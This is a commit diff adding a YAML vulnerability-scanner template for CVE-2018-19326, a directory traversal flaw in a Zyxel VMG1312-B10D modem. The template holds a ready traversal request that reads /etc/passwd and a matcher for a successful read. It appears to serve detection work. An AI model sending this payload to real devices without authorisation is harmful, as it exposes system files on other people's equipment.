Create CVE-2018-19326.yaml

CVE-2018-19326.yaml

@@ -0,0 +1,27 @@
+id: CVE-2018-19326
+
+info:
+  name: Zyxel VMG1312-B10D 5.13AAXA.8 - Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  description: The vulnerability exists due to path traversal, as demonstrated by reading /etc/passwd. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attack and view arbitrary files.
+  reference:
+    - https://www.exploit-db.com/exploits/45904
+    - https://www.cybersecurity-help.cz/vdb/SB2018120309
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2018-19326
+    cwe-id: CWE-22
+  tags: cve,cve2018,zyxel,lfi,modem
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/../../../../../../../../../../../../etc/passwd"
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
+        part: body